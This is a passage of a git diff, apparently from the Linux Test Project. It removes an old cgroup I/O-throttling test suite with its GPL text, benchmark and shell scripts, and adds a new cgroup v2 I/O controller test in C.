-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-			    NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-	    How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) 19yy  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) 19yy name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General
-Public License instead of this License.
diff --git a/testcases/kernel/controllers/io-throttle/.gitignore b/testcases/kernel/controllers/io-throttle/.gitignore
deleted file mode 100644
index 6836f7b..0000000
--- a/testcases/kernel/controllers/io-throttle/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-/iobw
diff --git a/testcases/kernel/controllers/io-throttle/Makefile b/testcases/kernel/controllers/io-throttle/Makefile
deleted file mode 100644
index ceeba73..0000000
--- a/testcases/kernel/controllers/io-throttle/Makefile
+++ /dev/null
@@ -1,32 +0,0 @@
-#
-#    kernel/controllers/io-throttle testcase suite Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Ngie Cooper, July 2009
-#
-
-top_srcdir		?= ../../../..
-
-include $(top_srcdir)/include/mk/testcases.mk
-include $(abs_srcdir)/../Makefile.inc
-
-INSTALL_TARGETS		:=  run_io_throttle_test.sh myfunctions-io.sh
-
-LDLIBS			+= -lm -lcontrollers
-
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/controllers/io-throttle/README b/testcases/kernel/controllers/io-throttle/README
deleted file mode 100644
index e5980fb..0000000
--- a/testcases/kernel/controllers/io-throttle/README
+++ /dev/null
@@ -1,56 +0,0 @@
-TEST SUITE:
-
-The directory io-throttle contains the tests related to block device I/O
-bandwdith controller.
-
-More testcases are expected to be added in future.
-
-TESTS AIM:
-
-The aim of the tests is to check the block device I/O throttling functionality
-for cgroups.
-
-FILES DESCRIPTION:
-
-iobw.c
----------------
-Simple benchmark to generate parallel streams of direct I/O (O_DIRECT). This
-benchmark fork()s one task per stream. Each task creates a separate file in the
-current working directory, fills it with data using O_DIRECT writes and re-read
-the whole file always in O_DIRECT mode. Different timestamps are used to
-evaluate per-task I/O rate and total I/O rate (seen by the parent).
-
-myfunctions.sh
-----------
-This file contains the functions which are common for the io-throttle tests.
-For ex.  the setup and cleanup functions which do the setup for running the
-test and do the cleanup once the test finishes. The setup() function creates
-/dev/blockioctl directory and mounts cgroup filesystem on it with memory
-controller. It then creates a number(n) of groups in /dev/blockioctl. The
-cleanup function does a complete cleanup of the system.
-
-Most of the error scenarios have been taken care of for a sane cleanup of the
-system. However if cleanup fails in any case, just manually execute the
-commands written in cleanup function in myfunctions.sh.
-One of the most common causes of failed cleanup is that you have done cd into
-any of the groups in controller dir tree.
-
-run_io_throttle_test.sh
-------------------
-This script creates different scenarios for I/O bandwidth controller testing
-and fires (n) tasks in different groups to write and read different I/O streams
-etc. It waits for the return status from tasks and reports test pass/fail
-accordingly.
-
-Makefile
---------
-The usual makefile for this directory
-
-PASS/FAIL CRITERION:
-==================
-The test cases are intelligent enough in deciding the pass or failure of a
-test.
-
-README:
---------
-This file.
diff --git a/testcases/kernel/controllers/io-throttle/io_throttle_testplan.txt b/testcases/kernel/controllers/io-throttle/io_throttle_testplan.txt
deleted file mode 100644
index fa5b85b..0000000
--- a/testcases/kernel/controllers/io-throttle/io_throttle_testplan.txt
+++ /dev/null
@@ -1,36 +0,0 @@
-The I/O bandwidth controller testplan includes a complete set of testcases to
-verify the effectiveness of the block device I/O throttling capabilities for
-cgroups.
-
-I/O bandwidth limitations are imposed by the testcase script and verified doing
-I/O activity on a limited block device. Tests are supposed to be passed if the
-I/O rates of all the different workloads always respect the I/O limitations.
-
-TESTCASE DESCRIPTION:
-====================
-First of all we evaluate the physical I/O bandwidth (physical-io-bw) of the
-block device where the current working directory resides.
-
-Based on the physical I/O bandwidth three cgroups are created: cgroup-1,
-cgroup-2, cgroup-3. Cgroups use respectively the following I/O bandwidth
-limitations:
-- cgroup-1: physical-io-bw / 2
-- cgroup-2: physical-io-bw / 4
-- cgroup-3: physical-io-bw / 8
-
-Each test is considered passed only if the I/O limitations above are respected.
-
-Currently the following different scenarios are tested:
-- 1 single stream per cgroup using leaky-bucket I/O throttling
-- 1 single stream per cgroup using token-bucket I/O throttling
-- 2 parallel streams per cgroup using leaky-bucket I/O throttling
-- 2 parallel streams per cgroup using token-bucket I/O throttling
-- 4 parallel streams per cgroup using leaky-bucket I/O throttling
-- 4 parallel streams per cgroup using token-bucket I/O throttling
-
-For any other information please refer to
-Documentation/controllers/io-throttle.txt in kernel documentation.
-
-Questions?
-----------
-Send email to: righi.andrea@gmail.com
diff --git a/testcases/kernel/controllers/io-throttle/iobw.c b/testcases/kernel/controllers/io-throttle/iobw.c
deleted file mode 100644
index e4d9c9b..0000000
--- a/testcases/kernel/controllers/io-throttle/iobw.c
+++ /dev/null
@@ -1,281 +0,0 @@
-/*
- * iobw.c - simple I/O bandwidth benchmark
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public
- * License as published by the Free Software Foundation; either
- * version 2 of the License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
- * General Public License for more details.
- *
- * You should have received a copy of the GNU General Public
- * License along with this program; if not, write to the
- * Free Software Foundation, Inc., 59 Temple Place - Suite 330,
- * Boston, MA 021110-1307, USA.
- *
- * Copyright (C) 2008 Andrea Righi <righi.andrea@gmail.com>
- */
-
-#define _GNU_SOURCE
-#define __USE_GNU
-
-#include <errno.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <fcntl.h>
-#include <signal.h>
-#include <string.h>
-#include <unistd.h>
-#include <limits.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/time.h>
-#include <sys/wait.h>
-
-#ifndef PAGE_SIZE
-#define PAGE_SIZE sysconf(_SC_PAGE_SIZE)
-#endif
-
-#define align(x,a)		__align_mask(x,(typeof(x))(a)-1)
-#define __align_mask(x,mask)	(((x)+(mask))&~(mask))
-#define kb(x)			((x) >> 10)
-
-const char usage[] = "Usage: iobw [-direct] threads chunk_size data_size\n";
-const char child_fmt[] = "(%s) task %3d: time %4lu.%03lu bw %7lu KiB/s (%s)\n";
-const char parent_fmt[] =
-    "(%s) parent %d: time %4lu.%03lu bw %7lu KiB/s (%s)\n";
-
-static int directio = 0;
-static size_t data_size = 0;
-static size_t chunk_size = 0;
-
-typedef enum {
-	OP_WRITE,
-	OP_READ,
-	NUM_IOPS,
-} iops_t;
-
-static const char *iops[] = {
-	"WRITE",
-	"READ ",
-	"TOTAL",
-};
-
-static int threads;
-pid_t *children;
-
-char *mygroup;
-
-static void print_results(int id, iops_t op, size_t bytes, struct timeval *diff)
-{
-	fprintf(stdout, id ? child_fmt : parent_fmt,
-		mygroup, id, diff->tv_sec, diff->tv_usec / 1000,
-		(bytes / (diff->tv_sec * 1000000L + diff->tv_usec))
-		* 1000000L / 1024, iops[op]);
-}
-
-static void thread(int id)
-{
-	struct timeval start, stop, diff;
-	int fd, i, ret;
-	size_t n;
-	void *buf;
-	int flags = O_CREAT | O_RDWR | O_LARGEFILE;
-	char filename[32];
-
-	ret = posix_memalign(&buf, PAGE_SIZE, chunk_size);
-	if (ret < 0) {
-		fprintf(stderr,
-			"ERROR: task %d couldn't allocate %zu bytes (%s)\n",
-			id, chunk_size, strerror(errno));
-		exit(1);
-	}
-	memset(buf, 0xaa, chunk_size);
-
-	snprintf(filename, sizeof(filename), "%s-%d-iobw.tmp", mygroup, id);
-	if (directio)
-		flags |= O_DIRECT;
-	fd = open(filename, flags, 0600);
-	if (fd < 0) {
-		fprintf(stderr, "ERROR: task %d couldn't open %s (%s)\n",
-			id, filename, strerror(errno));
-		free(buf);
-		exit(1);
-	}
-
-	/* Write */
-	lseek(fd, 0, SEEK_SET);
-	n = 0;
-	gettimeofday(&start, NULL);
-	while (n < data_size) {
-		i = write(fd, buf, chunk_size);
-		if (i < 0) {
-			fprintf(stderr, "ERROR: task %d writing to %s (%s)\n",
-				id, filename, strerror(errno));
-			ret = 1;
-			goto out;
-		}
-		n += i;
-	}
-	gettimeofday(&stop, NULL);
-	timersub(&stop, &start, &diff);
-	print_results(id + 1, OP_WRITE, data_size, &diff);
-
-	/* Read */
-	lseek(fd, 0, SEEK_SET);
-	n = 0;
-	gettimeofday(&start, NULL);
-	while (n < data_size) {
-		i = read(fd, buf, chunk_size);
-		if (i < 0) {
-			fprintf(stderr, "ERROR: task %d reading to %s (%s)\n",
-				id, filename, strerror(errno));
-			ret = 1;
-			goto out;
-		}
-		n += i;
-	}
-	gettimeofday(&stop, NULL);
-	timersub(&stop, &start, &diff);
-	print_results(id + 1, OP_READ, data_size, &diff);
-out:
-	close(fd);
-	unlink(filename);
-	free(buf);
-	exit(ret);
-}
-
-static void spawn(int id)
-{
-	pid_t pid;
-
-	pid = fork();
-	switch (pid) {
-	case -1:
-		fprintf(stderr, "ERROR: couldn't fork thread %d\n", id);
-		exit(1);
-	case 0:
-		thread(id);
-	default:
-		children[id] = pid;
-	}
-}
-
-void signal_handler(int sig)
-{
-	char filename[32];
-	int i;
-
-	for (i = 0; i < threads; i++)
-		if (children[i])
-			kill(children[i], SIGKILL);
-
-	for (i = 0; i < threads; i++) {
-		struct stat mystat;
-
-		snprintf(filename, sizeof(filename), "%s-%d-iobw.tmp",
-			 mygroup, i);
-		if (stat(filename, &mystat) < 0)
-			continue;
-		unlink(filename);
-	}
-
-	fprintf(stdout, "received signal %d, exiting\n", sig);
-	exit(0);
-}
-
-unsigned long long memparse(char *ptr, char **retptr)
-{
-	unsigned long long ret = strtoull(ptr, retptr, 0);
-
-	switch (**retptr) {
-	case 'G':
-	case 'g':
-		ret <<= 10;
-	case 'M':
-	case 'm':
-		ret <<= 10;
-	case 'K':
-	case 'k':
-		ret <<= 10;
-		(*retptr)++;
-	default:
-		break;
-	}
-	return ret;
-}
-
-int main(int argc, char *argv[])
-{
-	struct timeval start, stop, diff;
-	char *end;
-	int i;
-
-	if (argv[1] && strcmp(argv[1], "-direct") == 0) {
-		directio = 1;
-		argc--;
-		argv++;
-	}
-	if (argc != 4) {
-		fprintf(stderr, usage);
-		exit(1);
-	}
-	if ((threads = atoi(argv[1])) == 0) {
-		fprintf(stderr, usage);
-		exit(1);
-	}
-	chunk_size = align(memparse(argv[2], &end), PAGE_SIZE);
-	if (*end) {
-		fprintf(stderr, usage);
-		exit(1);
-	}
-	data_size = align(memparse(argv[3], &end), PAGE_SIZE);
-	if (*end) {
-		fprintf(stderr, usage);
-		exit(1);
-	}
-
-	/* retrieve group name */
-	mygroup = getenv("MYGROUP");
-	if (!mygroup) {
-		fprintf(stderr,
-			"ERROR: undefined environment variable MYGROUP\n");
-		exit(1);
-	}
-
-	children = malloc(sizeof(pid_t) * threads);
-	if (!children) {
-		fprintf(stderr, "ERROR: not enough memory\n");
-		exit(1);
-	}
-
-	/* handle user interrupt */
-	signal(SIGINT, signal_handler);
-	/* handle kill from shell */
-	signal(SIGTERM, signal_handler);
-
-	fprintf(stdout, "chunk_size %zuKiB, data_size %zuKiB\n",
-		kb(chunk_size), kb(data_size));
-	fflush(stdout);
-
-	gettimeofday(&start, NULL);
-	for (i = 0; i < threads; i++)
-		spawn(i);
-	for (i = 0; i < threads; i++) {
-		int status;
-		wait(&status);
-		if (!WIFEXITED(status))
-			exit(1);
-	}
-	gettimeofday(&stop, NULL);
-
-	timersub(&stop, &start, &diff);
-	print_results(0, NUM_IOPS, data_size * threads * NUM_IOPS, &diff);
-	fflush(stdout);
-	free(children);
-
-	exit(0);
-}
diff --git a/testcases/kernel/controllers/io-throttle/myfunctions-io.sh b/testcases/kernel/controllers/io-throttle/myfunctions-io.sh
deleted file mode 100755
index bf4bb2b..0000000
--- a/testcases/kernel/controllers/io-throttle/myfunctions-io.sh
+++ /dev/null
@@ -1,61 +0,0 @@
-#!/bin/sh
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public
-# License as published by the Free Software Foundation; either
-# version 2 of the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public
-# License along with this program; if not, write to the
-# Free Software Foundation, Inc., 59 Temple Place - Suite 330,
-# Boston, MA 021110-1307, USA.
-#
-# Copyright (C) 2008 Andrea Righi <righi.andrea@gmail.com>
-#
-# usage . myfunctions.sh
-
-setup()
-{
-	# create testcase cgroups
-	if [ -e /dev/blockioctl ]; then
-		echo "WARN: /dev/blockioctl already exist! overwriting."
-		cleanup
-	fi
-	mkdir /dev/blockioctl
-	mount -t cgroup -o blockio cgroup /dev/blockioctl
-	if [ $? -ne 0 ]; then
-		echo "ERROR: could not mount cgroup filesystem " \
-			" on /dev/blockioctl. Exiting test."
-		cleanup
-		exit 1
-	fi
-	for i in `seq 1 3`; do
-		if [ -e /dev/blockioctl/cgroup-$i ]; then
-			rmdir /dev/blockioctl/cgroup-$i
-			echo "WARN: earlier cgroup-$i found and removed"
-		fi
-		mkdir /dev/blockioctl/cgroup-$i
-		if [ $? -ne 0 ]; then
-			echo "ERROR: could not create cgroup-$i" \
-				"Check your permissions. Exiting test."
-			cleanup
-			exit 1
-		fi
-	done
-}
-
-cleanup()
-{
-	echo "Cleanup called"
-	for i in `seq 1 3`; do
-		rmdir /dev/blockioctl/cgroup-$i
-		rm -f /tmp/cgroup-$i.out
-	done
-	umount /dev/blockioctl
-	rmdir /dev/blockioctl
-}
diff --git a/testcases/kernel/controllers/io-throttle/run_io_throttle_test.sh b/testcases/kernel/controllers/io-throttle/run_io_throttle_test.sh
deleted file mode 100755
index c855fd0..0000000
--- a/testcases/kernel/controllers/io-throttle/run_io_throttle_test.sh
+++ /dev/null
@@ -1,123 +0,0 @@
-#!/bin/bash
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public
-# License as published by the Free Software Foundation; either
-# version 2 of the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public
-# License along with this program; if not, write to the
-# Free Software Foundation, Inc., 59 Temple Place - Suite 330,
-# Boston, MA 021110-1307, USA.
-#
-# Copyright (C) 2008 Andrea Righi <righi.andrea@gmail.com>
-#
-# Usage: ./run_io_throttle_test.sh
-# Description: test block device I/O bandwidth controller functionalities
-
-. ./myfunctions-io.sh
-
-trap cleanup SIGINT
-
-BUFSIZE=16m
-DATASIZE=64m
-
-setup
-
-# get the device name of the entire mounted block device
-dev=`df -P . | sed '1d' | cut -d' ' -f1 | sed 's/[p]*[0-9]*$//'`
-
-# evaluate device bandwidth
-export MYGROUP=
-phys_bw=`./iobw -direct 1 $BUFSIZE $DATASIZE | grep TOTAL | awk '{print $7}'`
-if [ $? -ne 0 ]; then
-	echo "ERROR: could not evaluate i/o bandwidth of $dev. Exiting test."
-	cleanup
-	exit 1
-fi
-echo ">> physical i/o bandwidth limit is: $phys_bw KiB/s"
-# show cgroup i/o bandwidth limits
-for i in `seq 1 3`; do
-	MYGROUP=cgroup-$i
-	echo "($MYGROUP) max i/o bw: " \
-		"$(($phys_bw / `echo 2^$i | bc`)) KiB/s + O_DIRECT"
-done
-
-for tasks in 1 2 4; do
-for strategy in 0 1; do
-	# set bw limiting rules
-	if [ -f /dev/blockioctl/blockio.bandwidth ]; then
-		io_throttle_file=blockio.bandwidth
-	elif [ -f /dev/blockioctl/blockio.bandwidth-max ]; then
-		io_throttle_file=blockio.bandwidth-max
-	else
-		echo "ERROR: unknown kernel ABI. Exiting test."
-		cleanup
-		exit 1
-	fi
-	for i in `seq 1 3`; do
-		limit=$(($phys_bw * 1024 / `echo 2^$i | bc`))
-		IOBW[$i]=$(($limit / 1024))
-		/bin/echo $dev:$limit:$strategy:$limit > \
-			/dev/blockioctl/cgroup-$i/${io_throttle_file}
-		if [ $? -ne 0 ]; then
-			echo "ERROR: could not set i/o bandwidth limit for cgroup-$i. Exiting test."
-			cleanup
-			exit 1
-		fi
-	done
-
-	# run benchmark
-	if [ $tasks -eq 1 ]; then
-		stream="stream"
-	else
-		stream="streams"
-	fi
-	echo -n ">> testing $tasks parallel $stream per cgroup "
-	if [ $strategy -eq 0 ]; then
-		echo "(leaky-bucket i/o throttling)"
-	else
-		echo "(token-bucket i/o throttling)"
-	fi
-	for i in `seq 1 3`; do
-		MYGROUP=cgroup-$i
-		/bin/echo $$ > /dev/blockioctl/$MYGROUP/tasks
-		if [ $? -ne 0 ]; then
-			echo "ERROR: could not set i/o bandwidth limit for cgroup-$i. Exiting test."
-			cleanup
-			exit 1
-		fi
-		# exec i/o benchmark
-		./iobw -direct $tasks $BUFSIZE $DATASIZE > /tmp/$MYGROUP.out &
-		PID[$i]=$!
-	done
-	/bin/echo $$ > /dev/blockioctl/tasks
-
-	# wait for children completion
-	for i in `seq 1 3`; do
-		MYGROUP=cgroup-$i
-		wait ${PID[$i]}
-		ret=$?
-		if [ $ret -ne 0 ]; then
-			echo "ERROR: error code $ret during test $tasks.$strategy.$i. Exiting test."
-			cleanup
-			exit 1
-		fi
-		iorate=`grep parent /tmp/${MYGROUP}.out | awk '{print $7}'`
-		diff=$((${IOBW[$i]} - $iorate))
-		echo "($MYGROUP) i/o-bw ${IOBW[$i]} KiB/s, i/o-rate $iorate KiB/s, err $diff KiB/s"
-		if [ ${IOBW[$i]} -ge $iorate ]; then
-			echo "TPASS   Block device I/O bandwidth controller: test $tasks.$strategy.$i PASSED";
-		else
-			echo "TFAIL   Block device I/O bandwidth controller: test $tasks.$strategy.$i FAILED";
-		fi
-	done
-done
-done
-
-cleanup
diff --git a/testcases/kernel/controllers/io/.gitignore b/testcases/kernel/controllers/io/.gitignore
new file mode 100644
index 0000000..d626fa8
--- /dev/null
+++ b/testcases/kernel/controllers/io/.gitignore
@@ -0,0 +1 @@
+io_control01
diff --git a/testcases/kernel/controllers/io/Makefile b/testcases/kernel/controllers/io/Makefile
new file mode 100644
index 0000000..5ea7d67
--- /dev/null
+++ b/testcases/kernel/controllers/io/Makefile
@@ -0,0 +1,6 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/controllers/io/io_control01.c b/testcases/kernel/controllers/io/io_control01.c
new file mode 100644
index 0000000..dd7f802
--- /dev/null
+++ b/testcases/kernel/controllers/io/io_control01.c
@@ -0,0 +1,157 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Copyright (c) 2022 SUSE LLC <rpalethorpe@suse.com>
+ */
+/*\
+ *
+ * [Description]
+ *
+ * Perform some I/O on a file and check if at least some of it is
+ * recorded by the I/O controller.
+ *
+ * The exact amount of I/O performed is dependent on the file system,
+ * page cache, scheduler and block driver. We call sync and drop the
+ * file's page cache to force reading and writing. We also write
+ * random data to try to prevent compression.
+ *
+ * The pagecache is a particular issue for reading. If the call to
+ * fadvise is ignored then the data may only be read from the
+ * cache. So that no I/O requests are made.
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/sysmacros.h>
+
+#include "tst_test.h"
+
+struct io_stats {
+	unsigned int mjr;
+	unsigned int mnr;
+	unsigned long rbytes;
+	unsigned long wbytes;
+	unsigned long rios;
+	unsigned long wios;
+	unsigned long dbytes;
+	unsigned long dios;
+};
+
+static unsigned int dev_major, dev_minor;
+
+static int read_io_stats(const char *const line, struct io_stats *const stat)
+{
+	return sscanf(line,
+		      "%u:%u rbytes=%lu wbytes=%lu rios=%lu wios=%lu dbytes=%lu dios=%lu",
+		      &stat->mjr, &stat->mnr,
+		      &stat->rbytes, &stat->wbytes, &stat->rios, &stat->wios,
+		      &stat->dbytes, &stat->dios);
+}
+
+static void run(void)
+{
+	int i, fd;
+	char *line, *buf_ptr;
+	const size_t pgsz = SAFE_SYSCONF(_SC_PAGESIZE);
+	char *buf = SAFE_MALLOC(MAX((size_t)BUFSIZ, pgsz));
+	struct io_stats start;
+
+	SAFE_CG_READ(tst_cg, "io.stat", buf, BUFSIZ - 1);
+	line = strtok_r(buf, "\n", &buf_ptr);
+	while (line) {
+		const int convs = read_io_stats(line, &start);
+
+		if (convs < 2)
+			continue;
+
+		tst_res(TINFO, "Found %u:%u in io.stat", dev_major, dev_minor);
+
+		if (start.mjr == dev_major || start.mnr == dev_minor)
+			break;
+
+		line = strtok_r(NULL, "\n", &buf_ptr);
+	}
+
+	SAFE_CG_PRINTF(tst_cg, "cgroup.procs", "%d", getpid());
+
+	fd = SAFE_OPEN("/dev/urandom", O_RDONLY, 0600);
+	SAFE_READ(1, fd, buf, pgsz);
+	SAFE_CLOSE(fd);
+
+	fd = SAFE_OPEN("mnt/dat", O_WRONLY | O_CREAT, 0600);
+
+	for (i = 0; i < 4; i++) {
+		SAFE_WRITE(1, fd, buf, pgsz);
+		SAFE_FSYNC(fd);
+		TST_EXP_PASS_SILENT(posix_fadvise(fd, pgsz * i, pgsz, POSIX_FADV_DONTNEED));
+	}
+
+	SAFE_CLOSE(fd);
+	fd = SAFE_OPEN("mnt/dat", O_RDONLY, 0600);
+
+	for (i = 0; i < 4; i++)
+		SAFE_READ(1, fd, buf, pgsz);
+
+	tst_res(TPASS, "Did some IO in the IO controller");
+
+	SAFE_CG_READ(tst_cg, "io.stat", buf, BUFSIZ - 1);
+	line = strtok_r(buf, "\n", &buf_ptr);
+	while (line) {
+		struct io_stats end;
+		const int convs = read_io_stats(line, &end);
+
+		if (convs < 8)
+			break;
+
+		if (end.mjr != dev_major || end.mnr != dev_minor) {
+			line = strtok_r(NULL, "\n", &buf_ptr);
+			continue;
+		}
+
+		tst_res(TPASS, "Found %u:%u in io.stat", dev_major, dev_minor);
+		TST_EXP_EXPR(end.rbytes > start.rbytes,
+			     "(rbytes=%lu) > (st_rbytes=%lu)",
+			     end.rbytes, start.rbytes);
+		TST_EXP_EXPR(end.wbytes > start.wbytes,
+			     "(wbytes=%lu) > (st_wbytes=%lu)",
+			     end.wbytes, start.wbytes);
+		TST_EXP_EXPR(end.rios > start.rios,
+			     "(rios=%lu) > (st_rios=%lu)",
+			     end.rios, start.rios);
+		TST_EXP_EXPR(end.wios > start.wios,
+			     "(wios=%lu) > (st_wios=%lu)",
+			     end.wios, start.wios);
+
+		goto out;
+	}
+
+	tst_res(TINFO, "io.stat:\n%s", buf);
+	tst_res(TFAIL, "Did not find %u:%u in io.stat", dev_major, dev_minor);
+out:
+	free(buf);
+	SAFE_CLOSE(fd);
+	SAFE_UNLINK("mnt/dat");
+}
+
+static void setup(void)
+{
+	char buf[PATH_MAX] = { 0 };
+	char *path = SAFE_GETCWD(buf, PATH_MAX - sizeof("mnt") - 1);
+	struct stat st;
+
+	strcpy(path + strlen(path), "/mnt");
+
+	tst_stat_mount_dev(path, &st);
+	dev_major = major(st.st_rdev);
+	dev_minor = minor(st.st_rdev);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.mntpoint = "mnt",
+	.mount_device = 1,
+	.all_filesystems = 1,
+	.skip_filesystems = (const char *const[]){ "ntfs", "tmpfs", NULL },
+	.needs_cgroup_ver = TST_CG_V2,
+	.needs_cgroup_ctrls = (const char *const[]){ "io", NULL },
+};
diff --git a/testcases/kernel/controllers/memcg/.gitignore b/testcases/kernel/controllers/memcg/.gitignore
index c0b6d07..3883ced 100644
--- a/testcases/kernel/controllers/memcg/.gitignore
+++ b/testcases/kernel/controllers/memcg/.gitignore
@@ -5,3 +5,7 @@
 /regression/memcg_test_3
 /regression/memcg_test_4
 /stress/memcg_process_stress
+memcontrol01
+memcontrol02
+memcontrol03
+memcontrol04
diff --git a/testcases/kernel/controllers/memcg/Makefile b/testcases/kernel/controllers/memcg/Makefile
index 74a67b2..e45c37b 100644
--- a/testcases/kernel/controllers/memcg/Makefile
+++ b/testcases/kernel/controllers/memcg/Makefile
@@ -1,24 +1,6 @@
-#
-#    kernel/controllers/memcg testcase suite Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../../..
 
diff --git a/testcases/kernel/controllers/memcg/control/mem_process.c b/testcases/kernel/controllers/memcg/control/mem_process.c
index 6c1b36c..8ecabb2 100644
--- a/testcases/kernel/controllers/memcg/control/mem_process.c
+++ b/testcases/kernel/controllers/memcg/control/mem_process.c
@@ -1,28 +1,6 @@
-/*****************************************************************************/
-/*                                                                           */
-/*  Copyright (c) 2010 Mohamed Naufal Basheer                                */
-/*                                                                           */
-/*  This program is free software;  you can redistribute it and/or modify    */
